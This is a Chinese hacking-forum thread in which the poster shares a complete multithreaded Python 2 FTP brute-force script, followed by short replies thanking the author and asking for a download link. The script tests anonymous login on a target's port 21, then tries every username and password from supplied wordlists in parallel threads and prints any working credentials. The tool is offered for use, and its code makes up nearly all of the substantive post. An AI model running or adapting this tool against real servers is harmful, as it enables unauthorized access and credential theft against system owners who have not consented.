查看: 20288|回复: 9

[工具专区] [Python] FTP暴力破解工具多线程版

[复制链接]
  • TA的每日心情
    奋斗
    2019-5-22 23:11
  • 签到天数: 14 天

    [LV.3]偶尔看看II

    发表于 2014-9-19 20:05:45 | 显示全部楼层 |阅读模式

    1. #!/usr/bin/env python
    2. # -*- coding: gbk -*-
    3. # -*- coding: utf_8 -*-
    4. # Date: 2014/9/5
    5. # Created by 独自等待
    6. # 博客 http://www.waitalone.cn/
    7. from threading import Thread
    8. import ftplib, socket
    9. import sys, time, re


    10. def usage():
    11.     print '+' + '-' * 50 + '+'
    12.     print '\t    Python FTP暴力破解工具多线程版'
    13.     print '\t   Blog:http://www.waitalone.cn/'
    14.     print '\t\t Code BY: 独自等待'
    15.     print '\t\t Time:2014-09-05'
    16.     print '+' + '-' * 50 + '+'
    17.     if len(sys.argv) != 4:
    18.         print "用法: ftpbrute_mult.py 待破解的ip/domain 用户名列表 字典列表"
    19.         print "实例: ftpbrute_mult.py www.waitalone.cn user.txt pass.txt"
    20.         sys.exit()


    21. def brute_anony():
    22.     try:
    23.         print '[+] 测试匿名登陆……\n'
    24.         ftp = ftplib.FTP()
    25.         ftp.connect(host, 21, timeout=10)
    26.         print 'FTP消息: %s \n' % ftp.getwelcome()
    27.         ftp.login()
    28.         ftp.retrlines('LIST')
    29.         ftp.quit()
    30.         print '\n[+] 匿名登陆成功……\n'
    31.     except ftplib.all_errors:
    32.         print '\n[-] 匿名登陆失败……\n'


    33. def brute_users(user, pwd):
    34.     try:
    35.         ftp = ftplib.FTP()
    36.         ftp.connect(host, 21, timeout=10)
    37.         ftp.login(user, pwd)
    38.         ftp.retrlines('LIST')
    39.         ftp.quit()
    40.         print '\n[+] 破解成功,用户名:%s 密码:%s\n' % (user, pwd)
    41.     except ftplib.all_errors:
    42.         pass


    43. if __name__ == '__main__':
    44.     usage()
    45.     start_time = time.time()
    46.     if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
    47.         host = sys.argv[1]
    48.     else:
    49.         host = socket.gethostbyname(sys.argv[1])
    50.     userlist = [i.rstrip() for i in open(sys.argv[2])]
    51.     passlist = [j.rstrip() for j in open(sys.argv[3])]
    52.     print '目  标:%s \n' % sys.argv[1]
    53.     print '用户名:%d 条\n' % len(userlist)
    54.     print '密  码:%d 条\n' % len(passlist)
    55.     brute_anony()
    56.     print '\n[+] 暴力破解测试中……\n'
    57.     thrdlist = []
    58.     for user in userlist:
    59.         for pwd in passlist:
    60.             t = Thread(target=brute_users, args=(user, pwd))
    61.             t.start()
    62.             thrdlist.append(t)
    63.             time.sleep(0.009)
    64.     for x in thrdlist:
    65.         x.join()
    66.     print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

    复制代码


    1.png
    回复

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2014-9-19 23:57:52 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-9-24 21:04:59 | 显示全部楼层
    谢谢楼主...收藏了...
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-9-27 09:18:44 | 显示全部楼层
    下载地址没有
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-9-27 14:50:43 | 显示全部楼层
    谢谢楼主
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-9-27 16:19:51 | 显示全部楼层
    这个没地址。
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-10-1 08:49:06 | 显示全部楼层
    顶起Python!!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-11-2 19:43:16 | 显示全部楼层
    不知道威力怎么样
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-5-2 18:09:34 | 显示全部楼层
    1111111111111111111111111111111
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    难过
    2021-4-5 10:39
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2021-1-25 11:44:33 | 显示全部楼层
    感谢大神分享        
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-15 12:43 , Processed in 0.023124 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部